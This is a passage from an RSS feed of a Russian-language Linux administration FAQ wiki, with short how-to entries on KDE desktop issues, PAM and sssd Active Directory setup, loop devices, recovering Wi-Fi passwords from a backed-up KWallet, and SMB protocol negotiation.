В результате в контекстном меню &lt;strong&gt;dolphin&lt;/strong&gt; для файлов-образов появляется пунктик &lt;strong&gt;Open with Disk Image Mounter&lt;/strong&gt;. &lt;br/&gt;

Нормально распознаются и монтируются образы с несколькими разделами. &lt;br/&gt;

По-умолчанию, образы монтируются как &lt;strong&gt;Read-Only&lt;/strong&gt;. Смонтировать их для записи можно, запустив вручную:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; gnome-disk-image-mounter&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u043e\u0431\u043d\u043e\u0435 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0431\u043b\u043e\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 Linux&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u043e\u0431\u043d\u043e\u0435_\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u043e\u0431\u0440\u0430\u0437\u043e\u0432_\u0431\u043b\u043e\u0447\u043d\u044b\u0445_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432_\u0432_linux&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-901&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;удаление_loop-устройств&quot;&gt;Удаление loop-устройств&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для удаления &lt;strong&gt;loop&lt;/strong&gt;-устройств нужно запустить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gmome-disks&lt;/pre&gt;

&lt;p&gt;
выбрать &lt;strong&gt;loop&lt;/strong&gt;-устройство и нажать &lt;strong&gt;Detach This Loop Device&lt;/strong&gt;. В &lt;strong&gt;KDE&lt;/strong&gt; это кнопочка рядом со стандартными кнопками окна (свернуть,развернуть, закрыть). &lt;br/&gt;

Также просмотреть и при необходимости удалить &lt;strong&gt;loop&lt;/strong&gt;-устройство можно и с помощью команд:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;losetup -l
losetup -d /dev/loop0&lt;/pre&gt;

&lt;p&gt;
Административные права для всех вышеприведенных манипуляций не нужны. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 loop-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435_loop-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;902-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 31 Jan 2020 09:51:17 +0000</pubDate>
        </item>
        <item>
            <title>kde_kate_replace_new_line</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_kate_replace_new_line</link>
            <description>
&lt;p&gt;
Я пользуюсь KDE и частенько разбираю логи Ansible, в которых символы новой строки предствалены в виде &lt;strong&gt;\n&lt;/strong&gt;. &lt;br/&gt;

Повысить читабельность таких логов можно скопировав их в окошко дефолтного текстового редактора KDE - Kate и применив к тексту замену в стиле &lt;strong&gt;sed&lt;/strong&gt;. &lt;br/&gt;

Для этого нужно нажать &lt;strong&gt;F7&lt;/strong&gt; и в строчке ввода команды ввести такое: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;s/\\n/\n/g&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 24 Jan 2022 19:51:28 +0000</pubDate>
        </item>
        <item>
            <title>kde_kioexec_cache_is_a_folder_but_file_was_expected</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_kioexec_cache_is_a_folder_but_file_was_expected</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Система - Ubuntu 18.04 + KDE. &lt;br/&gt;

При попытке открыть ресурс на &lt;strong&gt;SMB&lt;/strong&gt;-шаре - &lt;strong&gt;Alt+F&lt;/strong&gt;2 и далее 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smb://server/share&lt;/pre&gt;

&lt;p&gt;
получаю ошибку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;.../.cache/kioexec/krun/346_0/ is a folder, but a file was expected. &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-307&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причина в том, что объект &lt;strong&gt;directory&lt;/strong&gt; ассоциирован для открытия не с файловым менеджером (&lt;strong&gt;Dolphin&lt;/strong&gt;), а с какой-то другой программой. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;308-565&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;как_поправить&quot;&gt;Как поправить&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Идем в &lt;strong&gt;Settings → Applications → File Associations → inode → directory&lt;/strong&gt; и передвигаем &lt;strong&gt;Dolphin&lt;/strong&gt; на первое место и жмем &lt;strong&gt;Apply&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u043e\u043f\u0440\u0430\u0432\u0438\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u043e\u043f\u0440\u0430\u0432\u0438\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;566-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 03 Nov 2020 09:37:41 +0000</pubDate>
        </item>
        <item>
            <title>kde_not_copying_etc_skel_on_user_first_login</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_not_copying_etc_skel_on_user_first_login</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Система - &lt;strong&gt;Ubuntu Server 16.04&lt;/strong&gt; + &lt;strong&gt;KDE-desktop&lt;/strong&gt; установленный из &lt;strong&gt;backports&lt;/strong&gt;. &lt;br/&gt;

При входе пользователя не копируется шаблон профиля из &lt;strong&gt;/etc/skel&lt;/strong&gt;, хотя директория в &lt;strong&gt;/home&lt;/strong&gt; создается и директории, которые описаны в &lt;strong&gt;/etc/xdg/user-dirs.defaults&lt;/strong&gt; создаются. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-433&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот тут немецкие друзья предлагают решение: &lt;a href=&quot;https://forum.ubuntuusers.de/topic/sssd-nutzer-erhalten-keine-dateien-aus-etc-ske/&quot; class=&quot;urlextern&quot; title=&quot;https://forum.ubuntuusers.de/topic/sssd-nutzer-erhalten-keine-dateien-aus-etc-ske/&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.ubuntuusers.de/topic/sssd-nutzer-erhalten-keine-dateien-aus-etc-ske/&lt;/a&gt; &lt;br/&gt;

В двух словах - модули &lt;strong&gt;pam_kwallet&lt;/strong&gt; и &lt;strong&gt;pam_mkhomedir&lt;/strong&gt; не работают нормально вместе. Поэтому в файлике &lt;strong&gt;/etc/pam.d/sddm&lt;/strong&gt; закомментировать строки с &lt;strong&gt;pam_kwallet&lt;/strong&gt;. &lt;br/&gt;

В результате, при первом логине пользователя в KDE с помощью SDDM, в его профиль нормально копируются файлики из &lt;strong&gt;/etc/skel&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;434-1098&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;аналогичная_проблема_-_ubuntu_1804_gnome&quot;&gt;Аналогичная проблема - Ubuntu 18.04 + Gnome&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При логине профиль создается, но файлы из директории &lt;strong&gt;/etc/skel&lt;/strong&gt; не копируются, хотя директории, которые описаны в &lt;strong&gt;/etc/xdg/user-dirs.defaults&lt;/strong&gt; создаются. &lt;br/&gt;

Оказалось - проблема в порядке следования &lt;strong&gt;pam&lt;/strong&gt;-модулей. &lt;br/&gt;

Из директории &lt;strong&gt;/etc/skel&lt;/strong&gt; файлы копирует модуль &lt;strong&gt;pam_mkhomedir&lt;/strong&gt;.
Для начала - найдем в каком файлике он вызывается.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grep pam_mkhomedir /etc/pam.d/ -irl&lt;/pre&gt;

&lt;p&gt;
У меня это файл &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. В нем строка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session optional pam_mkhomedir.so&lt;/pre&gt;

&lt;p&gt;
идет ПОСЛЕ строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session optional pam_mount.so&lt;/pre&gt;

&lt;p&gt;
Я предположил, что модуль &lt;strong&gt;pam_mkhomedir&lt;/strong&gt; не отрабатывает корректно, поскольку на момент его запуска директория пользователя уже должна существовать (чтобы отработал модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt;). &lt;br/&gt;

То есть - чтобы исправить ситуацию нужно переставить строки, чтобы &lt;strong&gt;pam_mkhomedir.so&lt;/strong&gt; запускался ПЕРЕД &lt;strong&gt;pam_mount.so&lt;/strong&gt;. &lt;br/&gt;

В итоге - строки я переставил и всё заработало.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 - Ubuntu 18.04 + Gnome&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f_\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430_-_ubuntu_1804_gnome&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1099-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 01 Sep 2020 14:15:04 +0000</pubDate>
        </item>
        <item>
            <title>kde_on_ubuntu_server_minimal</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_on_ubuntu_server_minimal</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;networkmanager&quot;&gt;NetworkManager&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;NetworkManager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;networkmanager&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-29&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;etcnetworkmanagernetworkmanagerconf&quot;&gt;/etc/NetworkManager/NetworkManager.conf&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;[ifupdown]
managed=false&lt;/pre&gt;

&lt;p&gt;
→
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[ifupdown]
managed=true&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl disable NetworkManager-wait-online.service
sudo systemctl mask NetworkManager-wait-online.service&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/NetworkManager\/NetworkManager.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcnetworkmanagernetworkmanagerconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;30-259&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;netplan&quot;&gt;netplan&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;network:
  renderer: NetworkManager&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;netplan&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;netplan&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;260-320&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;systemd-resolved_local_domains&quot;&gt;systemd-resolved local domains&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
/etc/systemd/resolved.conf.d/voximplant.conf
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Resolve]
DNS=192.168.15.12 192.168.15.13
Domains=voximplant.local&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service systemd-resolved restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;systemd-resolved local domains&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;systemd-resolved_local_domains&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;321-523&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;sssd&quot;&gt;sssd&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Install packages
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install sssd-ad sssd-tools realmd adcli&lt;/pre&gt;

&lt;p&gt;
Check if domain available
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo realm -v discover ad1.example.com&lt;/pre&gt;

&lt;p&gt;
Join Domain:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo realm join -U admuser ad1.example.com&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;sssd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sssd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;524-734&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit6&quot; id=&quot;sssd_settings&quot;&gt;sssd settings&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;[sssd]
domains = voximplant.local
config_file_version = 2
default_domain_suffix = voximplant.local
services = nss, pam

[domain/voximplant.local]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = VOXIMPLANT.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%d/%u
ad_domain = voximplant.local
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service sssd restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;sssd settings&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sssd_settings&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;735-1268&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;pam_settings&quot;&gt;pam settings&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
/etc/pam.d/common-session
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session optional        pam_mount.so&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;pam settings&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;pam_settings&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;1269-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 02 Feb 2022 12:10:55 +0000</pubDate>
        </item>
        <item>
            <title>kde_restore_wifi_passwords</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_restore_wifi_passwords</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я заменил DE - поменял KDE на XFCE и хочу экспортировать все пароли от сетей Wi-Fi из текущей инсталляции KDE 5. &lt;br/&gt;

И затем - импортировать из в XFCE 4 &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-281&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;как_я_это_делал_на_xfce&quot;&gt;Как я это делал на XFCE&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
KDE Хранит пароли в KDE Wallet. &lt;br/&gt;

Итак - для начала в инсталляции XFCE нужно установить менеджер KDE Wallet:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository ppa:kubuntu-ppa/backports

sudo apt-get install kwalletcli kwalletmanager&lt;/pre&gt;

&lt;p&gt;
У меня файлы KDE WAllet лежали в бекапе, поэтому - временно кладем директорию с ними на место:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp -r ./backup_root/home/user/.local/share/kwalletd ~/.local/share/&lt;/pre&gt;

&lt;p&gt;
И теперь можно запустить KWalletManager:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kwalletmanager5&lt;/pre&gt;

&lt;p&gt;
Он спросит пароль от wallet и покажет содержимое.
Чтобы посмотреть доступных список паролей в kdewallet выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kwallet-query -l -f &amp;#039;Network Management&amp;#039; kdewallet&lt;/pre&gt;

&lt;p&gt;
В данном случае - &lt;strong&gt;kdewallet&lt;/strong&gt; - это имя кошелька. Оно такое по-дефолту. &lt;br/&gt;

Ну и дальше 0 можно циклически пройти по этим запися, извлечь пароли и найти имена сетей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for ENTRY in `kwallet-query -l -f &amp;#039;Network Management&amp;#039; kdewallet`; do 
    UUID=${ENTRY#*\{}; UUID=${UUID%\}*}; echo ${UUID}
    grep access-points -A1 ./backup_root/etc/netplan/90-NM-${UUID}.yaml
    kwallet-query -r ${ENTRY} -f &amp;#039;Network Management&amp;#039; kdewallet  
done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u044f \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b \u043d\u0430 XFCE&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u044f_\u044d\u0442\u043e_\u0434\u0435\u043b\u0430\u043b_\u043d\u0430_xfce&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;282-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 01 Dec 2023 13:15:52 +0000</pubDate>
        </item>
        <item>
            <title>kde_task_manager_launchers</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_task_manager_launchers</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;контектстное_меню_show_a_launcher_when_not_running&quot;&gt;Контектстное меню **Show A Launcher When Not Running**&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Как в KDE вручную отредактировать лаунчеры (или посмотреть что запускает тот или иной лаунчер), которые создаются с помощью контектстного меню &lt;strong&gt;Show A Launcher When Not Running&lt;/strong&gt; ?
&lt;/p&gt;

&lt;p&gt;
список этих лаунчеров находится в файле &lt;strong&gt; ~/.kde/share/config/plasma-desktop-appletsrc&lt;/strong&gt; &lt;br/&gt;

там есть раздел в названии которого в конце указано &lt;strong&gt;[Launchers]&lt;/strong&gt;. &lt;br/&gt;

В моем случае это: &lt;strong&gt;[Containments][22][Applets][26][Configuration][Launchers]&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
и Выглядит он как-то так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Containments][22][Applets][26][Configuration][Launchers]
Items=preferred://browser?wmClass=%20,preferred://filemanager?wmClass=%20,file:///usr/share/applications/viber.desktop?wmClass=ViberPC,file:///usr/share/applications/kde4/ksysguard.desktop?wmClass$
browser=preferred://browser, , ,\s
filemanager=preferred://filemanager, , ,\s
liteide=file:///home/local/RIMOS_NT_01/usikmi/liteide/bin/liteide,,liteide,,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAACi9JREFUaIG9Wn9sG9Ud/7y7$&lt;/pre&gt;

&lt;p&gt;
В строке &lt;strong&gt;Items=preferred:&lt;/strong&gt; через запятую указаны файлы ярлыков запускаемых проложений.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>kde_the_file_or_folder_smb_does_not_exists</title>
            <link>https://wiki.autosys.tk/linux_faq/kde_the_file_or_folder_smb_does_not_exists</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке доступа из приложений &lt;strong&gt;KDE (Dolphin)&lt;/strong&gt; к расшаренными ресурсам по протоколу &lt;strong&gt;SMB&lt;/strong&gt; вылезает ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;The file or folder smb://server/share/ does not exist.&lt;/pre&gt;

&lt;p&gt;
Хотя, при монтировании ресурса из командной строки никаких ошибок нет. &lt;br/&gt;

&lt;br/&gt;

В файлике &lt;strong&gt;~/.xsession-errors&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kdeinit5: Got EXEC_NEW &amp;#039;/usr/lib/x86_64-linux-gnu/qt5/plugins/kf5/kio/smb.so&amp;#039; from launcher.
kdeinit5: preparing to launch &amp;#039;/usr/lib/x86_64-linux-gnu/qt5/plugins/kf5/kio/smb.so&amp;#039;
kio_smb: Using libsmbclient library version 4.10.0
kio_smb: auth_initialize_smbc 
kio_smb: smbc_init call
kio_smb: QUrl(&amp;quot;smb://server/share/&amp;quot;)
kio_smb: checkURL  QUrl(&amp;quot;smb://server/share/&amp;quot;)
kio_smb: checkURL return3  QUrl(&amp;quot;smb://server/share/&amp;quot;)
kio_smb: updateCache  &amp;quot;/share&amp;quot;
kio_smb: auth_smbc_get_dat: set user= username , workgroup= WORKGROUP  server= server , share= share 

kio_smb: libsmb-auth-callback URL: QUrl(&amp;quot;smb://server/share&amp;quot;)
kio_smb: size  140503533880268
kio_smb: stat() error 22 QUrl(&amp;quot;smb://server/share/&amp;quot;)
kio_smb: updateCache  &amp;quot;/share&amp;quot;
kio_smb: errNum 22
kf5.kio.widgets: KRun(0x5581baffc970) ERROR 111 &amp;quot;The file or folder smb://server/share/ does not exist.&amp;quot;&lt;/pre&gt;

&lt;p&gt;
При попытке прочитать списко шар на сервер с помощью &lt;strong&gt;smbclient&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smbclient -L //server
Unable to initialize messaging context
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1601&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось, что проблема в версиях &lt;strong&gt;SMB&lt;/strong&gt;. Клиент и сервер не могут согласовать используемую версию протокола &lt;strong&gt;SMB&lt;/strong&gt;. &lt;br/&gt;

Подобрать работающую версию можно с помощью &lt;strong&gt;smbclient&lt;/strong&gt; примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smbclient -m SMB2 -L //server.domain.local
Unable to initialize messaging context
Enter username@WORKGROUPS&amp;#039;s password: &lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;      Sharename       Type      Comment
      ---------       ----      -------
      share           Disk      
Reconnecting with SMB1 for workgroup listing.&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;      Server               Comment
      ---------            -------&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;      Workgroup            Master
      ---------            -------&lt;/pre&gt;

